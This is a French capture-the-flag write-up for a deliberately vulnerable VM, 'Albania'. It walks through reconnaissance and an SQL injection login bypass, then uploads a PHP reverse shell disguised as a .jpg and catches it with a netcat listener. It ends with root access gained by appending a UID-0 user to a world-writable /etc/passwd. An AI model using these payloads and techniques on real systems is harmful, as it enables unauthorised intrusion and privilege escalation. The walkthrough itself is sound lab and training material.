**Albania - Write Up** __Reconnaissance__ nmap -sS -A 192.168.43.198 Deux ports ouverts : 8008 => un web 22 => openssh __Exploitation Web__ Dans le fichier robots.txt on a : Disallow: /rkfpuzrahngvat/ Disallow: /slgqvasbiohwbu/ Disallow: /tmhrwbtcjpixcv/ Disallow: /vojtydvelrkzex/ Disallow: /wpkuzewfmslafy/ Disallow: /xqlvafxgntmbgz/ Disallow: /yrmwbgyhouncha/ Disallow: /zsnxchzipvodib/ Disallow: /atoydiajqwpejc/ Disallow: /bupzejbkrxqfkd/ Disallow: /cvqafkclsyrgle/ Disallow: /unisxcudkqjydw/ Disallow: /dwrbgldmtzshmf/ Disallow: /exschmenuating/ Disallow: /fytdinfovbujoh/ Disallow: /gzuejogpwcvkpi/ Disallow: /havfkphqxdwlqj/ Disallow: /ibwglqiryexmrk/ Disallow: /jcxhmrjszfynsl/ Disallow: /kdyinsktagzotm/ Disallow: /lezjotlubhapun/ Disallow: /mfakpumvcibqvo/ Disallow: /ngblqvnwdjcrwp/ Disallow: /ohcmrwoxekdsxq/ Disallow: /pidnsxpyfletyr/ Disallow: /qjeotyqzgmfuzs/ On retrouve la même image dans tous les dossiers : {{ :vm:folder.png?nolink&300 |}} La phrase : a eshte kjo direktoria e duhur apo po harxhoj kohen kot Joliment traduit de l'albanais donne : Est-ce un répertoire approprié ou sont Jerk Ça nous aide pas bien plus. Seul un dossier nous renvoie une information différente : http://192.168.43.198:8008/unisxcudkqjydw/ IS there any /vulnbank/ in there ??? On test le dossier vulnbank : http://192.168.43.198:8008/unisxcudkqjydw/vulnbank/ Dedans un dossier client qui contient un login.php http://192.168.43.198:8008/unisxcudkqjydw/vulnbank/client/login.php Nous obtenons ce-ci : {{ :vm:vulnbank.png?nolink&600 |}} Nous tentons de détecter les erreurs sur l'authentification : username=a'#&password=admin Une erreur SQL est retourné : {{ :vm:sqli.png?nolink&600 |}} Nous bypassons l'authentification grâce aux identifiants suivant : username=a' || 1=1#&password=admin Gagné : {{ :vm:vulnbank2.png?nolink&600 |}} Dans le ticket on peux uploader un fichier jpg On va uploader un [[http://pentestmonkey.net/tools/web-shells/php-reverse-shell | php-reverse-shell]]. Pour cela il faut renommer notre fichier de php-reverse-shell.php en php-reverse-shell.php.jpg. mv php-reverse-shell.php php-reverse-shell.php.jpg On ouvre un netcat en local en écoute sur le port 1234 : nc -lvp 1234 Il suffit d'aller consulter notre ticket pour déclencher le contenu de notre reverse-shell-php. {{ :vm:netcat.png?nolink |}} On va tout d'abord obtenir un pty : script /tmp/test -c /bin/bash __Exploitation système & Élévation de privilège__ On affiche le contenu du fichier /var/www/html/unisxcudkqjydw/vulnbank/client/config.php $db_host = "127.0.0.1"; $db_name = "bank_database"; $db_user = "root"; $db_password = "NuCiGoGo321"; En cherchant un peu on trouve un problème de droit sur le /etc/passwd Celui-ci autorise l'écriture par tous. ls -lash /etc/passwd -rw-r--rw- 1 root root 1.7K Nov 23 14:46 /etc/passwd On va générer un mot de passe que l'on connaît pour l'insérer dans le /etc/passwd : openssl passwd -1 Password: <= test Verifying - Password: $1$VbI7ntUd$eDTm1LmJpKATPXCHNlx2g. On l'insère à la fin de notre /etc/passwd : echo 'ark:$1$VbI7ntUd$eDTm1LmJpKATPXCHNlx2g.:0:0:root:/root:/bin/bash' >> /etc/passwd {{ :vm:root.png?nolink |}} id uid=0(root) gid=0(root) groups=0(root) On récupère le flag: root@hackday:~# cat flag.txt cat flag.txt Urime, Tani nis raportin! d5ed38fdbf28bc4e58be142cf5a17cf5 Merci à l'auteur de la machine.